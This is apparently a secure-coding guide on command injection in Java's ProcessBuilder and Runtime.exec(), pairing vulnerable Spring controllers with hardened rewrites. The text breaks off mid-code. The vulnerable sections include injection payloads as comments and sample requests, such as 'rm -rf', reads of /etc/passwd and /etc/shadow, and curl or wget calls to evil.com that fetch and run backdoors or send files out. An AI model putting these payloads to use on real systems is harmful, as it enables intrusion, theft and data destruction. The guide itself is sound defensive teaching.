Java ProcessBuilder and Runtime.exec() Command Injection

Critical Risk Command Injection
javacommand-injectionprocessbuilderruntime-execprocessshellrceuser-input

What it is

A critical security vulnerability in Java applications where user-controlled input is passed to ProcessBuilder, Runtime.exec(), or similar process execution methods without proper sanitization. This allows attackers to execute arbitrary system commands on the server, potentially leading to complete system compromise, data exfiltration, or remote code execution. Java's process execution APIs can be particularly dangerous when command arguments are constructed from user input.

@RestController
public class FileProcessingController {
    
    // VULNERABLE: Direct user input in ProcessBuilder
    @PostMapping("/api/backup")
    public ResponseEntity<String> backupFile(@RequestBody BackupRequest request) {
        try {
            String filename = request.getFilename();
            String destination = request.getDestination();
            
            // Basic validation (insufficient)
            if (filename == null || destination == null) {
                return ResponseEntity.badRequest().body("Missing parameters");
            }
            
            // DANGEROUS: User input directly in ProcessBuilder
            ProcessBuilder pb = new ProcessBuilder(
                "cp", 
                "/app/uploads/" + filename,
                destination + "/" + filename + ".bak"
            );
            
            Process process = pb.start();
            int exitCode = process.waitFor();
            
            if (exitCode == 0) {
                return ResponseEntity.ok("Backup completed successfully");
            } else {
                return ResponseEntity.status(500).body("Backup failed");
            }
            
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Error: " + e.getMessage());
        }
    }
    
    // VULNERABLE: Runtime.exec() with string concatenation
    @GetMapping("/api/analyze/{filename}")
    public ResponseEntity<String> analyzeFile(@PathVariable String filename) {
        try {
            // DANGEROUS: String command construction
            String command = "file --mime-type /app/uploads/" + filename;
            
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec(command);
            
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            return ResponseEntity.ok(output.toString());
            
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Analysis failed");
        }
    }
    
    // VULNERABLE: Command construction with user-controlled parameters
    @PostMapping("/api/convert")
    public ResponseEntity<String> convertImage(@RequestBody ConvertRequest request) {
        try {
            String inputFile = request.getInputFile();
            String outputFormat = request.getOutputFormat();
            String quality = request.getQuality();
            Map<String, String> options = request.getOptions();
            
            // Weak validation
            if (!inputFile.matches(".*\\.(jpg|png|gif)$")) {
                return ResponseEntity.badRequest().body("Invalid file type");
            }
            
            List<String> command = new ArrayList<>();
            command.add("convert");
            command.add("/app/uploads/" + inputFile);
            
            // DANGEROUS: Adding user options without validation
            if (options != null) {
                for (Map.Entry<String, String> option : options.entrySet()) {
                    command.add("-" + option.getKey());
                    command.add(option.getValue());
                }
            }
            
            command.add("-quality");
            command.add(quality);
            
            String outputFile = inputFile.replaceAll("\\.[^.]+$", "." + outputFormat);
            command.add("/app/output/" + outputFile);
            
            ProcessBuilder pb = new ProcessBuilder(command);
            Process process = pb.start();
            int exitCode = process.waitFor();
            
            if (exitCode == 0) {
                return ResponseEntity.ok("Conversion completed: " + outputFile);
            } else {
                return ResponseEntity.status(500).body("Conversion failed");
            }
            
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Error: " + e.getMessage());
        }
    }
    
    // VULNERABLE: Network diagnostics with user input
    @PostMapping("/api/network/test")
    public ResponseEntity<String> testNetwork(@RequestBody NetworkTestRequest request) {
        try {
            String host = request.getHost();
            String port = request.getPort();
            String protocol = request.getProtocol();
            
            // DANGEROUS: Multiple user inputs in command
            ProcessBuilder pb;
            
            if ("ping".equals(protocol)) {
                pb = new ProcessBuilder("ping", "-c", "3", host);
            } else if ("telnet".equals(protocol)) {
                pb = new ProcessBuilder("timeout", "5", "telnet", host, port);
            } else {
                pb = new ProcessBuilder("nc", "-zv", host, port);
            }
            
            Process process = pb.start();
            
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            return ResponseEntity.ok(output.toString());
            
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Network test failed");
        }
    }
}

// Request DTOs (Data Transfer Objects)
class BackupRequest {
    private String filename;
    private String destination;
    
    // Getters and setters
    public String getFilename() { return filename; }
    public void setFilename(String filename) { this.filename = filename; }
    public String getDestination() { return destination; }
    public void setDestination(String destination) { this.destination = destination; }
}

class ConvertRequest {
    private String inputFile;
    private String outputFormat;
    private String quality;
    private Map<String, String> options;
    
    // Getters and setters
    public String getInputFile() { return inputFile; }
    public void setInputFile(String inputFile) { this.inputFile = inputFile; }
    public String getOutputFormat() { return outputFormat; }
    public void setOutputFormat(String outputFormat) { this.outputFormat = outputFormat; }
    public String getQuality() { return quality; }
    public void setQuality(String quality) { this.quality = quality; }
    public Map<String, String> getOptions() { return options; }
    public void setOptions(Map<String, String> options) { this.options = options; }
}

class NetworkTestRequest {
    private String host;
    private String port;
    private String protocol;
    
    // Getters and setters
    public String getHost() { return host; }
    public void setHost(String host) { this.host = host; }
    public String getPort() { return port; }
    public void setPort(String port) { this.port = port; }
    public String getProtocol() { return protocol; }
    public void setProtocol(String protocol) { this.protocol = protocol; }
}

/*
Attack examples:
POST /api/backup
{"filename": "test.txt; rm -rf /app; echo", "destination": "/tmp"}

GET /api/analyze/../../../etc/passwd%00dummy.txt

POST /api/convert
{
  "inputFile": "image.jpg", 
  "outputFormat": "png", 
  "quality": "80",
  "options": {
    "resize": "100x100; wget http://evil.com/backdoor.jar; java -jar backdoor.jar; echo"
  }
}

POST /api/network/test
{"host": "google.com; curl http://evil.com/steal.sh | bash; echo", "port": "80", "protocol": "nc"}
*/
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.ResponseEntity;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;

import javax.validation.Valid;
import javax.validation.constraints.*;
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
import java.net.*;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

@RestController
@Validated
public class SecureFileProcessingController {
    
    @Value("${app.upload.directory:/app/uploads}")
    private String uploadDirectory;
    
    @Value("${app.output.directory:/app/output}")
    private String outputDirectory;
    
    @Value("${app.backup.directory:/app/backups}")
    private String backupDirectory;
    
    private final SecureFileProcessor fileProcessor;
    private final SecurityValidator validator;
    private final AuditLogger auditLogger;
    
    public SecureFileProcessingController() {
        this.fileProcessor = new SecureFileProcessor();
        this.validator = new SecurityValidator();
        this.auditLogger = new AuditLogger();
    }
    
    // SECURE: File backup using Java NIO instead of external commands
    @PostMapping("/api/backup")
    public ResponseEntity<BackupResponse> backupFile(
            @Valid @RequestBody SecureBackupRequest request,
            HttpServletRequest httpRequest) {
        
        String clientIP = getClientIP(httpRequest);
        auditLogger.logRequest("backup", request.getFilename(), clientIP);
        
        try {
            // Comprehensive input validation
            validator.validateFilename(request.getFilename());
            
            Path sourcePath = resolveSecurePath(uploadDirectory, request.getFilename());
            
            // Security checks
            if (!Files.exists(sourcePath)) {
                auditLogger.logSecurityEvent("file_not_found", request.getFilename(), clientIP);
                return ResponseEntity.notFound().build();
            }
            
            if (!Files.isRegularFile(sourcePath)) {
                return ResponseEntity.badRequest()
                    .body(new BackupResponse(false, "Path is not a regular file", null));
            }
            
            // Check file size
            long fileSize = Files.size(sourcePath);
            if (fileSize > 100 * 1024 * 1024) { // 100MB limit
                return ResponseEntity.badRequest()
                    .body(new BackupResponse(false, "File too large", null));
            }
            
            // SECURE: Use Java NIO for file operations
            String backupFilename = generateSecureBackupName(request.getFilename());
            Path backupPath = Paths.get(backupDirectory, backupFilename);
            
            // Ensure backup directory exists
            Files.createDirectories(backupPath.getParent());
            
            // Perform secure copy
            Files.copy(sourcePath, backupPath, 
                      StandardCopyOption.REPLACE_EXISTING,
                      StandardCopyOption.COPY_ATTRIBUTES);
            
            // Verify backup integrity
            if (!verifyFileIntegrity(sourcePath, backupPath)) {
                Files.deleteIfExists(backupPath);
                return ResponseEntity.status(500)
                    .body(new BackupResponse(false, "Backup integrity check failed", null));
            }
            
            auditLogger.logSuccess("backup", request.getFilename(), clientIP);
            
            BackupResponse response = new BackupResponse(
                true, "Backup completed successfully", backupFilename
            );
            return ResponseEntity.ok(response);
            
        } catch (SecurityException e) {
            auditLogger.logSecurityEvent("backup_security_violation", 
                                       request.getFilename(), clientIP);
            return ResponseEntity.status(403)
                .body(new BackupResponse(false, "Security validation failed", null));
        } catch (Exception e) {
            auditLogger.logError("backup", e.getMessage(), clientIP);
            return ResponseEntity.status(500)
                .body(new BackupResponse(false, "Backup operation failed", null));
        }
    }
    
    // SECURE: File analysis using Java libraries
    @GetMapping("/api/analyze/{filename}")
    public ResponseEntity<FileAnalysisResponse> analyzeFile(
            @PathVariable @Pattern(regexp = "^[a-zA-Z0-9._-]+$", 
                                 message = "Invalid filename format") String filename,
            HttpServletRequest httpRequest) {
        
        String clientIP = getClientIP(httpRequest);
        auditLogger.logRequest("analyze", filename, clientIP);
        
        try {
            validator.validateFilename(filename);
            
            Path filePath = resolveSecurePath(uploadDirectory, filename);
            
            if (!Files.exists(filePath)) {
                return ResponseEntity.notFound().build();
            }
            
            // SECURE: Use Java libraries for file analysis
            FileAnalysisResult analysis = analyzeFileSecurely(filePath);
            
            auditLogger.logSuccess("analyze", filename, clientIP);
            
            FileAnalysisResponse response = new FileAnalysisResponse(
                true, "Analysis completed", analysis
            );
            return ResponseEntity.ok(response);
            
        } catch (SecurityException e) {
            auditLogger.logSecurityEvent("analyze_security_violation", filename, clientIP);
            return ResponseEntity.status(403)
                .body(new FileAnalysisResponse(false, "Security validation failed", null));
        } catch (Exception e) {
            auditLogger.logError("analyze", e.getMessage(), clientIP);
            return ResponseEntity.status(500)
                .body(new FileAnalysisResponse(false, "Analysis failed", null));
        }
    }
    
    // SECURE: Image conversion using Java ImageIO
    @PostMapping("/api/convert")
    public ResponseEntity<ConvertResponse> convertImage(
            @Valid @RequestBody SecureConvertRequest request,
            HttpServletRequest httpRequest) {
        
        String clientIP = getClientIP(httpRequest);
        auditLogger.logRequest("convert", request.getInputFile(), clientIP);
        
        try {
            // Comprehensive validation
            validator.validateFilename(request.getInputFile());
            validator.validateImageFormat(request.getOutputFormat());
            validator.validateQuality(request.getQuality());
            
            Path inputPath = resolveSecurePath(uploadDirectory, request.getInputFile());
            
            if (!Files.exists(inputPath)) {
                return ResponseEntity.notFound().build();
            }
            
            // SECURE: Use Java ImageIO for image processing
            String outputFilename = convertImageSecurely(
                inputPath, request.getOutputFormat(), request.getQuality()
            );
            
            auditLogger.logSuccess("convert", request.getInputFile(), clientIP);
            
            ConvertResponse response = new ConvertResponse(
                true, "Conversion completed successfully", outputFilename
            );
            return ResponseEntity.ok(response);
            
        } catch (SecurityException e) {
            auditLogger.logSecurityEvent("convert_security_violation", 
                                       request.getInputFile(), clientIP);
            return ResponseEntity.status(403)
                .body(new ConvertResponse(false, "Security validation failed", null));
        } catch (Exception e) {
            auditLogger.logError("convert", e.getMessage(), clientIP);
            return ResponseEntity.status(500)
                .body(new ConvertResponse(false, "Conversion failed", null));
        }
    }
    
    // SECURE: Network connectivity test using Java sockets
    @PostMapping("/api/network/test")
    public ResponseEntity<NetworkTestResponse> testNetwork(
            @Valid @RequestBody SecureNetworkTestRequest request,
            HttpServletRequest httpRequest) {
        
        String clientIP = getClientIP(httpRequest);
        auditLogger.logRequest("network_test", request.getHost(), clientIP);
        
        try {
            // Validate inputs
            validator.validateHostname(request.getHost());
            validator.validatePort(request.getPort());
            validator.validateProtocol(request.getProtocol());
            
            // SECURE: Use Java sockets instead of external commands
            NetworkTestResult testResult = testNetworkConnectivitySecurely(
                request.getHost(), request.getPort(), request.getProtocol()
            );
            
            auditLogger.logSuccess("network_test", 
                                 request.getHost() + ":" + request.getPort(), clientIP);
            
            NetworkTestResponse response = new NetworkTestResponse(
                true, "Network test completed", testResult
            );
            return ResponseEntity.ok(response);
            
        } catch (SecurityException e) {
            auditLogger.logSecurityEvent("network_test_security_violation", 
                                       request.getHost(), clientIP);
            return ResponseEntity.status(403)
                .body(new NetworkTestResponse(false, "Security validation failed", null));
        } catch (Exception e) {
            auditLogger.logError("network_test", e.getMessage(), clientIP);
            return ResponseEntity.status(500)
                .body(new NetworkTestResponse(false, "Network test failed", null));
        }
    }
    
    // Helper methods for secure operations
    private Path resolveSecurePath(String baseDirectory, String filename) throws SecurityException {
        try {
            Path basePath = Paths.get(baseDirectory).toAbsolutePath().normalize();
            Path filePath = basePath.resolve(filename).normalize();
            
            // Ensure resolved path is within base directory
            if (!filePath.startsWith(basePath)) {
                throw new SecurityException("Path traversal detected: " + filename);
            }
            
            return filePath;
        } catch (Exception e) {
            throw new SecurityException("Invalid file path: " + filename, e);
        }
    }
    
    private String generateSecureBackupName(String originalFilename) {
        String baseName = originalFilename.replaceAll("\\.[^.]+$", "");
        String extension = originalFilename.substring(originalFilename.lastIndexOf('.'));
        String timestamp = String.valueOf(System.currentTimeMillis());
        
        return baseName + "_backup_" + timestamp + extension;
    }
    
    private boolean verifyFileIntegrity(Path source, Path backup) throws IOException {
        // Compare file sizes
        if (Files.size(source) != Files.size(backup)) {
            return false;
        }
        
        // Compare checksums (simplified - in production, use proper hashing)
        try {
            byte[] sourceBytes = Files.readAllBytes(source);
            byte[] backupBytes = Files.readAllBytes(backup);
            return Arrays.equals(sourceBytes, backupBytes);
        } catch (Exception e) {
            return false;
        }
    }
    
    private FileAnalysisResult analyzeFileSecurely(Path filePath) throws IOException {
        BasicFileAttributes attrs = Files.readAttributes(filePath, BasicFileAttributes.class);
        
        FileAnalysisResult result = new FileAnalysisResult();
        result.setFilename(filePath.getFileName().toString());
        result.setSize(attrs.size());
        result.setCreationTime(attrs.creationTime().toString());
        result.setLastModified(attrs.lastModifiedTime().toString());
        result.setMimeType(Files.probeContentType(filePath));
        result.setReadable(Files.isReadable(filePath));
        result.setWritable(Files.isWritable(filePath));
        
        return result;
    }
    
    private String convertImageSecurely(Path inputPath, String outputFormat, int quality) 
            throws IOException {
        BufferedImage image = ImageIO.read(inputPath.toFile());
        if (image == null) {
            throw new IllegalArgumentException("Invalid or unsupported image format");
        }
        
        String inputFilename = inputPath.getFileName().toString();
        String outputFilename = inputFilename.replaceAll("\\.[^.]+$", "." + outputFormat.toLowerCase());
        Path outputPath = Paths.get(outputDirectory, outputFilename);
        
        // Ensure output directory exists
        Files.createDirectories(outputPath.getParent());
        
        // Convert image
        boolean success = ImageIO.write(image, outputFormat.toLowerCase(), outputPath.toFile());
        if (!success) {
            throw new RuntimeException("Image conversion failed");
        }
        
        return outputFilename;
    }
    
    private NetworkTestResult testNetworkConnectivitySecurely(String hostname, int port, String protocol) {
        NetworkTestResult result = new NetworkTestResult();
        result.setHost(hostname);
        result.setPort(port);
        result.setProtocol(protocol);
        
        long startTime = System.currentTimeMillis();
        
        try {
            if ("ping".equals(protocol)) {
                // Use InetAddress for reachability test
                InetAddress address = InetAddress.getByName(hostname);
                boolean reachable = address.isReachable(5000); // 5 second timeout
                
                result.setSuccess(reachable);
                result.setMessage(reachable ? "Host is reachable" : "Host is not reachable");
            } else {
                // Use Socket for port connectivity test
                try (Socket socket = new Socket()) {
                    socket.connect(new InetSocketAddress(hostname, port), 5000);
                    result.setSuccess(true);
                    result.setMessage("Port is open and accepting connections");
                } catch (IOException e) {
                    result.setSuccess(false);
                    result.setMessage("Port is closed or unreachable: " + e.getMessage());
                }
            }
        } catch (Exception e) {
            result.setSuccess(false);
            result.setMessage("Network test failed: " + e.getMessage());
        }
        
        long endTime = System.currentTimeMillis();
        result.setResponseTime(endTime - startTime);
        
        return result;
    }
    
    private String getClientIP(HttpServletRequest request) {
        String xForwardedFor = request.getHeader("X-Forwarded-For");
        if (xForwardedFor != null && !xForwardedFor.isEmpty()) {
            return xForwardedFor.split(",")[0].trim();
        }
        return request.getRemoteAddr();
    }
}

// Secure request DTOs with validation annotations
class SecureBackupRequest {
    @NotBlank(message = "Filename is required")
    @Size(max = 255, message = "Filename too long")
    @Pattern(regexp = "^[a-zA-Z0-9._-]+$", message = "Invalid filename format")
    private String filename;
    
    // Getter and setter
    public String getFilename() { return filename; }
    public void setFilename(String filename) { this.filename = filename; }
}

class SecureConvertRequest {
    @NotBlank(message = "Input file is required")
    @Size(max = 255, message = "Filename too long")
    @Pattern(regexp = "^[a-zA-Z0-9._-]+\\.(jpg|jpeg|png|gif)$", 
             message = "Invalid image file format")
    private String inputFile;
    
    @NotBlank(message = "Output format is required")
    @Pattern(regexp = "^(jpg|jpeg|png|gif|bmp|webp)$", 
             message = "Unsupported output format")
    private String outputFormat;
    
    @Min(value = 1, message = "Quality must be at least 1")
    @Max(value = 100, message = "Quality cannot exceed 100")
    private int quality = 85;
    
    // Getters and setters
    public String getInputFile() { return inputFile; }
    public void setInputFile(String inputFile) { this.inputFile = inputFile; }
    
    public String getOutputFormat() { return outputFormat; }
    public void setOutputFormat(String outputFormat) { this.outputFormat = outputFormat; }
    
    public int getQuality() { return quality; }
    public void setQuality(int quality) { this.quality = quality; }
}

class SecureNetworkTestRequest {
    @NotBlank(message = "Host is required")
    @Size(max = 253, message = "Hostname too long")
    @Pattern(regexp = "^[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?)*$", 
             message = "Invalid hostname format")
    private String host;
    
    @Min(value = 1, message = "Port must be at least 1")
    @Max(value = 65535, message = "Port cannot exceed 65535")
    private int port;
    
    @NotBlank(message = "Protocol is required")
    @Pattern(regexp = "^(ping|tcp)$", message = "Unsupported protocol")
    private String protocol;
    
    // Getters and setters
    public String getHost() { return host; }
    public void setHost(String host) { this.host = host; }
    
    public int getPort() { return port; }
    public void setPort(int port) { this.port = port; }
    
    public String getProtocol() { return protocol; }
    public void setProtocol(String protocol) { this.protocol = protocol; }
}

// Response DTOs
class BackupResponse {
    private boolean success;
    private String message;
    private String backupFilename;
    
    public BackupResponse(boolean success, String message, String backupFilename) {
        this.success = success;
        this.message = message;
        this.backupFilename = backupFilename;
    }
    
    // Getters
    public boolean isSuccess() { return success; }
    public String getMessage() { return message; }
    public String getBackupFilename() { return backupFilename; }
}

class FileAnalysisResponse {
    private boolean success;
    private String message;
    private FileAnalysisResult result;
    
    public FileAnalysisResponse(boolean success, String message, FileAnalysisResult result) {
        this.success = success;
        this.message = message;
        this.result = result;
    }
    
    // Getters
    public boolean isSuccess() { return success; }
    public String getMessage() { return message; }
    public FileAnalysisResult getResult() { return result; }
}

// Additional supporting classes would be defined here...

💡 Why This Fix Works

The vulnerable version directly passes user input to ProcessBuilder and Runtime.exec(), allowing command injection through filenames, paths, and parameters. The secure version uses Java's built-in libraries (NIO for file operations, ImageIO for image processing, Socket for network tests), implements comprehensive input validation with Bean Validation annotations, adds security logging, and includes proper error handling.

Why it happens

ProcessBuilder accepts command arguments as separate strings, which can seem safer than shell execution. However, when user input is directly included in the argument list without validation, attackers can still inject malicious commands, especially when the executed program interprets arguments as commands or when shell metacharacters are processed.

Root causes

User Input in ProcessBuilder Command Arguments

ProcessBuilder accepts command arguments as separate strings, which can seem safer than shell execution. However, when user input is directly included in the argument list without validation, attackers can still inject malicious commands, especially when the executed program interprets arguments as commands or when shell metacharacters are processed.

Preview example – JAVA
import java.io.*;
import java.util.*;

// VULNERABLE: User input directly in ProcessBuilder arguments
public class FileProcessor {
    public String processFile(String filename, String operation) throws IOException {
        // Direct user input in command arguments
        ProcessBuilder pb = new ProcessBuilder(
            "file-processor",
            operation,
            filename
        );
        
        Process process = pb.start();
        return readOutput(process);
    }
}

// Attack examples:
// filename = "; rm -rf /; echo processed"
// operation = "--execute=curl http://evil.com/backdoor.sh | bash"

Runtime.exec() with String Commands

Using Runtime.exec() with a single string command is extremely dangerous as it may invoke the system shell depending on the operating system. This creates the same vulnerabilities as direct shell execution, allowing attackers to use shell metacharacters to inject additional commands or modify the intended behavior.

Preview example – JAVA
import java.io.*;

// VULNERABLE: Runtime.exec() with string command
public class NetworkUtils {
    public String pingHost(String hostname) throws IOException {
        // Dangerous: String command may be executed by shell
        Runtime runtime = Runtime.getRuntime();
        Process process = runtime.exec("ping -c 1 " + hostname);
        
        return readProcessOutput(process);
    }
    
    public String getFileInfo(String filepath) throws IOException {
        // Another vulnerable usage
        String command = "ls -la " + filepath;
        Process process = Runtime.getRuntime().exec(command);
        
        return readProcessOutput(process);
    }
}

// Attack payloads:
// hostname = "google.com; cat /etc/passwd"
// filepath = "/tmp; wget http://evil.com/shell.jar; java -jar shell.jar"

Command Construction with User Data

Building command arrays or strings by concatenating user input creates injection vulnerabilities. Even when using ProcessBuilder's array-based approach, if user input is used to construct individual arguments without proper validation, attackers can manipulate the command structure or inject malicious parameters.

Preview example – JAVA
import java.io.*;
import java.util.*;

// VULNERABLE: Command construction with user input
public class ImageConverter {
    public void convertImage(String inputFile, String outputFormat, Map<String, String> options) 
            throws IOException {
        List<String> command = new ArrayList<>();
        command.add("convert");
        command.add(inputFile);
        
        // Vulnerable: Adding user options without validation
        for (Map.Entry<String, String> option : options.entrySet()) {
            command.add("-" + option.getKey());
            command.add(option.getValue());
        }
        
        String outputFile = inputFile.replaceAll("\\.[^.]+$", "." + outputFormat);
        command.add(outputFile);
        
        ProcessBuilder pb = new ProcessBuilder(command);
        Process process = pb.start();
    }
}

// Attack through options map:
// options.put("quality", "80; rm -rf /home/user; echo")
// options.put("resize", "100x100\n/bin/bash -c 'curl evil.com/backdoor'")

Insufficient Input Validation and Path Traversal

Failing to properly validate file paths, command names, or arguments before passing them to process execution methods. This includes not checking for directory traversal sequences, not validating expected formats, and not using allowlists for permitted values. Path traversal can be combined with command injection for more sophisticated attacks.

Preview example – JAVA
import java.io.*;
import java.nio.file.*;

// VULNERABLE: Insufficient validation allows path traversal and injection
public class DocumentProcessor {
    private static final String BASE_DIR = "/app/documents/";
    
    public String processDocument(String filename, String processor, String[] args) 
            throws IOException {
        // Weak validation - only checks if file exists
        Path filePath = Paths.get(BASE_DIR, filename);
        if (!Files.exists(filePath)) {
            throw new FileNotFoundException("File not found");
        }
        
        // Vulnerable: No validation of processor name or arguments
        List<String> command = new ArrayList<>();
        command.add(processor);  // User-controlled processor name
        command.add(filePath.toString());
        
        // Add user-provided arguments without validation
        command.addAll(Arrays.asList(args));
        
        ProcessBuilder pb = new ProcessBuilder(command);
        pb.directory(new File(BASE_DIR));
        
        Process process = pb.start();
        return readOutput(process);
    }
}

// Attack examples:
// filename = "../../../etc/passwd"
// processor = "/bin/bash"
// args = ["-c", "curl -X POST -d @/etc/shadow http://evil.com/steal"]

Fixes

1

Use ProcessBuilder with Strict Argument Validation

Always use ProcessBuilder instead of Runtime.exec() and implement comprehensive validation for all arguments. Create allowlists for permitted commands, validate argument formats, and sanitize user input before including it in process execution. Use argument arrays to prevent shell interpretation.

View implementation – JAVA
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.regex.*;

// SECURE: ProcessBuilder with comprehensive validation
public class SecureFileProcessor {
    private static final Set<String> ALLOWED_OPERATIONS = Set.of(
        "compress", "decompress", "analyze", "convert"
    );
    
    private static final Pattern SAFE_FILENAME_PATTERN = 
        Pattern.compile("^[a-zA-Z0-9._-]+$");
    
    private static final String SAFE_DIRECTORY = "/app/secure/uploads";
    private static final String OUTPUT_DIRECTORY = "/app/secure/output";
    
    public ProcessResult processFile(String filename, String operation) 
            throws IOException, SecurityException {
        // Comprehensive input validation
        validateOperation(operation);
        validateFilename(filename);
        
        Path inputPath = validateAndResolvePath(filename, SAFE_DIRECTORY);
        Path outputPath = generateOutputPath(filename, operation);
        
        // Build secure command with validated arguments
        List<String> command = buildSecureCommand(operation, inputPath, outputPath);
        
        // Execute with security constraints
        return executeSecureProcess(command);
    }
    
    private void validateOperation(String operation) {
        if (operation == null || operation.trim().isEmpty()) {
            throw new IllegalArgumentException("Operation cannot be null or empty");
        }
        
        if (!ALLOWED_OPERATIONS.contains(operation.toLowerCase())) {
            throw new SecurityException("Operation not allowed: " + operation);
        }
    }
    
    private void validateFilename(String filename) {
        if (filename == null || filename.trim().isEmpty()) {
            throw new IllegalArgumentException("Filename cannot be null or empty");
        }
        
        if (filename.length() > 255) {
            throw new IllegalArgumentException("Filename too long");
        }
        
        if (!SAFE_FILENAME_PATTERN.matcher(filename).matches()) {
            throw new SecurityException("Filename contains invalid characters: " + filename);
        }
        
        if (filename.contains("..") || filename.startsWith(".")) {
            throw new SecurityException("Invalid filename format: " + filename);
        }
    }
    
    private Path validateAndResolvePath(String filename, String baseDirectory) 
            throws IOException {
        Path basePath = Paths.get(baseDirectory).toAbsolutePath().normalize();
        Path filePath = basePath.resolve(filename).normalize();
        
        // Ensure resolved path is within base directory
        if (!filePath.startsWith(basePath)) {
            throw new SecurityException("Path traversal detected: " + filename);
        }
        
        if (!Files.exists(filePath)) {
            throw new FileNotFoundException("File not found: " + filename);
        }
        
        if (!Files.isRegularFile(filePath)) {
            throw new IllegalArgumentException("Path is not a regular file: " + filename);
        }
        
        // Check file size (prevent processing huge files)
        long fileSize = Files.size(filePath);
        if (fileSize > 100 * 1024 * 1024) { // 100MB limit
            throw new IllegalArgumentException("File too large: " + fileSize + " bytes");
        }
        
        return filePath;
    }
    
    private Path generateOutputPath(String filename, String operation) throws IOException {
        String baseName = filename.replaceAll("\\.[^.]+$", "");
        String extension = getOutputExtension(operation);
        String outputFilename = baseName + "_" + operation + "." + extension;
        
        Path outputDir = Paths.get(OUTPUT_DIRECTORY);
        if (!Files.exists(outputDir)) {
            Files.createDirectories(outputDir);
        }
        
        return outputDir.resolve(outputFilename);
    }
    
    private List<String> buildSecureCommand(String operation, Path inputPath, Path outputPath) {
        List<String> command = new ArrayList<>();
        
        switch (operation.toLowerCase()) {
            case "compress":
                command.add("/usr/bin/gzip");
                command.add("-c");
                command.add(inputPath.toString());
                break;
                
            case "analyze":
                command.add("/usr/bin/file");
                command.add("--mime-type");
                command.add("--brief");
                command.add(inputPath.toString());
                break;
                
            case "convert":
                command.add("/usr/bin/convert");
                command.add(inputPath.toString());
                command.add("-quality");
                command.add("85");
                command.add(outputPath.toString());
                break;
                
            default:
                throw new IllegalArgumentException("Unsupported operation: " + operation);
        }
        
        return command;
    }
    
    private ProcessResult executeSecureProcess(List<String> command) 
            throws IOException {
        ProcessBuilder pb = new ProcessBuilder(command);
        
        // Security configurations
        pb.directory(new File("/tmp")); // Safe working directory
        
        // Restricted environment
        Map<String, String> env = pb.environment();
        env.clear();
        env.put("PATH", "/usr/bin:/bin");
        env.put("HOME", "/tmp");
        env.put("USER", "nobody");
        
        // Redirect error stream
        pb.redirectErrorStream(true);
        
        Process process = pb.start();
        
        return monitorProcess(process);
    }
    
    private ProcessResult monitorProcess(Process process) throws IOException {
        // Timeout mechanism
        long startTime = System.currentTimeMillis();
        long timeout = 60000; // 60 seconds
        
        StringBuilder output = new StringBuilder();
        StringBuilder errors = new StringBuilder();
        
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            
            String line;
            while ((line = reader.readLine()) != null) {
                // Check timeout
                if (System.currentTimeMillis() - startTime > timeout) {
                    process.destroyForcibly();
                    throw new RuntimeException("Process execution timeout");
                }
                
                output.append(line).append("\n");
                
                // Prevent memory exhaustion
                if (output.length() > 1024 * 1024) { // 1MB limit
                    process.destroyForcibly();
                    throw new RuntimeException("Process output too large");
                }
            }
        }
        
        try {
            int exitCode = process.waitFor();
            return new ProcessResult(exitCode, output.toString(), errors.toString());
        } catch (InterruptedException e) {
            process.destroyForcibly();
            Thread.currentThread().interrupt();
            throw new RuntimeException("Process execution interrupted", e);
        }
    }
    
    private String getOutputExtension(String operation) {
        switch (operation.toLowerCase()) {
            case "compress": return "gz";
            case "analyze": return "txt";
            case "convert": return "jpg";
            default: return "out";
        }
    }
}

// Result class for process execution
class ProcessResult {
    private final int exitCode;
    private final String output;
    private final String errors;
    
    public ProcessResult(int exitCode, String output, String errors) {
        this.exitCode = exitCode;
        this.output = output;
        this.errors = errors;
    }
    
    // Getters
    public int getExitCode() { return exitCode; }
    public String getOutput() { return output; }
    public String getErrors() { return errors; }
    public boolean isSuccessful() { return exitCode == 0; }
}
2

Implement Command and Argument Allowlists

Create comprehensive allowlists for permitted commands and their arguments. Use enums or constants to define allowed operations, validate all parameters against expected formats, and implement strict input sanitization. Never rely on user input to determine which programs to execute.

View implementation – JAVA
import java.io.*;
import java.util.*;
import java.util.regex.*;

// SECURE: Command allowlist with comprehensive validation
public class SecureCommandExecutor {
    // Enum for allowed commands with their configurations
    public enum AllowedCommand {
        PING("/bin/ping", Arrays.asList("-c", "1"), Arrays.asList("host")),
        FILE_INFO("/usr/bin/file", Arrays.asList("--mime-type", "--brief"), Arrays.asList("filepath")),
        IMAGE_CONVERT("/usr/bin/convert", Arrays.asList(), Arrays.asList("input", "output")),
        COMPRESS("/bin/gzip", Arrays.asList("-c"), Arrays.asList("filepath"));
        
        private final String executable;
        private final List<String> fixedArgs;
        private final List<String> userArgNames;
        
        AllowedCommand(String executable, List<String> fixedArgs, List<String> userArgNames) {
            this.executable = executable;
            this.fixedArgs = new ArrayList<>(fixedArgs);
            this.userArgNames = new ArrayList<>(userArgNames);
        }
        
        public String getExecutable() { return executable; }
        public List<String> getFixedArgs() { return new ArrayList<>(fixedArgs); }
        public List<String> getUserArgNames() { return new ArrayList<>(userArgNames); }
    }
    
    // Validation patterns for different argument types
    private static final Map<String, Pattern> VALIDATION_PATTERNS = Map.of(
